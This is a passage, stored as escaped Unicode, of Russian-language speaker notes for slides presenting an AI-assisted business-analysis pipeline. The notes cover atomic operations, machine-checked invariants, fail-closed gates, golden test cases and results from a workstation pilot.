\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: 